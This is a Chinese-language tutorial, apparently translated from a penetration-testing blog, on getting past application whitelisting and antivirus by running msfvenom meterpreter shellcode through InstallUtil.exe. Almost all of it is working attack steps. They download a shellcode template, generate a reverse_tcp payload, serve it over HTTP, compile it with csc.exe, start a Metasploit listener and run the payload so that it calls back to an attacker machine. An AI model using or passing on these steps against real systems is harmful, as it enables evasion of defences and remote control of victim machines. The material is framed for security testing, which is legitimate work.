如何绕过应用程序白名单与防病毒软件
有许多已发布的方法可以绕过防病毒产品。因此,许多公司开始意识到应用程序白名单是另一个值得添加到其工具库中的工具。应用程序白名单的优势在于它不需要不断更新基于行为或签名的检测算法;你明确告诉它可以运行什么。在这里,我们将向您展示一种绕过某些应用程序白名单产品的方法。
首先,我们要说明的是,我们并未开发此方法。此方法由Casey Smith开发。我们偶然发现它,并觉得它非常棒,必须分享。
此方法利用了Windows上的两个巧妙功能。第一个功能是无需Visual Studio环境即可编译C#程序的能力。第二个功能,即用于绕过应用程序白名单的功能,利用了一个名为InstallUtil.exe的工具。
第一个任务是获取InstallUtil-ShellCode.cs CSharp文件。 https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260 mv InstallUtil-ShellCode-cs InstallUtil-ShellCode.cs
下载CSharp文件后,是时候生成我们的Shellcode了。我们将使用msfvenom输出一个reverse_tcp meterpreter stager。键入以下内容,将YOUR_IP替换为您的Kali机器的IP地址。 msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=443 -f csharp > shellcode.txt
现在,将shellcode.txt文件的内容复制到剪贴板 cat shellcode.txt | xclip -selection clipboard
打开InstallUtil-ShellCode.cs文件进行编辑。 gedit InstallUtil-ShellCode.cs &
让我们花点时间谈谈这种方法的神奇之处。在InstallUtil-ShellCode.cs文件中,您会注意到顶部有两个函数。名为Main的函数(绿色框中的代码)将在程序正常执行时被调用(例如,双击、命令行、沙盒等)。名为Uninstall的函数(橙色框中的代码)将在使用InstallUtil.exe工具运行程序时执行。InstallUtil.exe工具通常在受信任应用程序列表中,并且可能会绕过某些应用程序白名单软件。Uninstall函数中的代码将调用Shellcode函数,这是我们的恶意代码所在之处。这里的神奇之处在于,它可能被用于绕过基于行为的分析和应用程序白名单。通过额外的混淆,基于签名的分析也可以避免。
找到下图所示的代码部分,并用当前剪贴板中的Shellcode(来自shellcode.txt的输出)替换它。将新粘贴的Shellcode中的“buf”一词更改为“shellcode”。
接下来,让我们将此文件传输到我们的Windows机器。保存InstallUtil-ShellCode.cs文件并退出gedit。在同一终端窗口中,键入以下内容以托管InstallUtil-ShellCode.cs文件: python –m SimpleHTTPServer 80
在您的Windows机器上,打开Web浏览器并键入您的Kali机器的IP地址。从目录列表中下载InstallUtil-ShellCode.cs文件。
让我们继续使用csc.exe工具编译文件。打开命令提示符,切换到您的Downloads目录,并通过键入以下内容编译程序: cd Downloads
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs
跳回Kali机器,让我们使用msfconsole启动一个Meterpreter监听器。在终端中按Ctrl-C终止python服务器。然后,键入以下内容(将YOUR_IP替换为您的Kali IP地址): msfconsole use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST YOUR_IP set LPORT 443 set ExitOnSession false run -j
返回Windows终端。键入以下内容以使用InstallUtil.exe工具执行Shellcode程序: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
检查Windows任务管理器显示,只有InstallUtil.exe进程存在,而不是我们的exeshell.exe文件。
跳回Kali机器并检查msfconsole窗口。您获得会话了吗?
总之,我们向您展示了一种可能绕过应用程序白名单软件的方法。该方法由Casey Smith开发。这里的演示着眼于建立meterpreter会话,但您可以在系统上执行的代码的可能性是无限的。能够在Windows系统上编译代码而无需Visual Studio也是一个巨大的优势。此方法也可用于避免基于行为和签名的防病毒分析。这是在评估安全工具时,您肯定希望保留在工具箱中的一种方法。
加入BHIS博客邮件列表 – 当我们发布新博客、网络广播和播客时获得通知。 [jetpack_subscription_form show_only_email_and_button=”true” custom_background_button_color=”undefined” custom_text_button_color=”undefined” submit_button_text=”Subscribe” submit_button_classes=”undefined” show_subscribers_total=”true” ]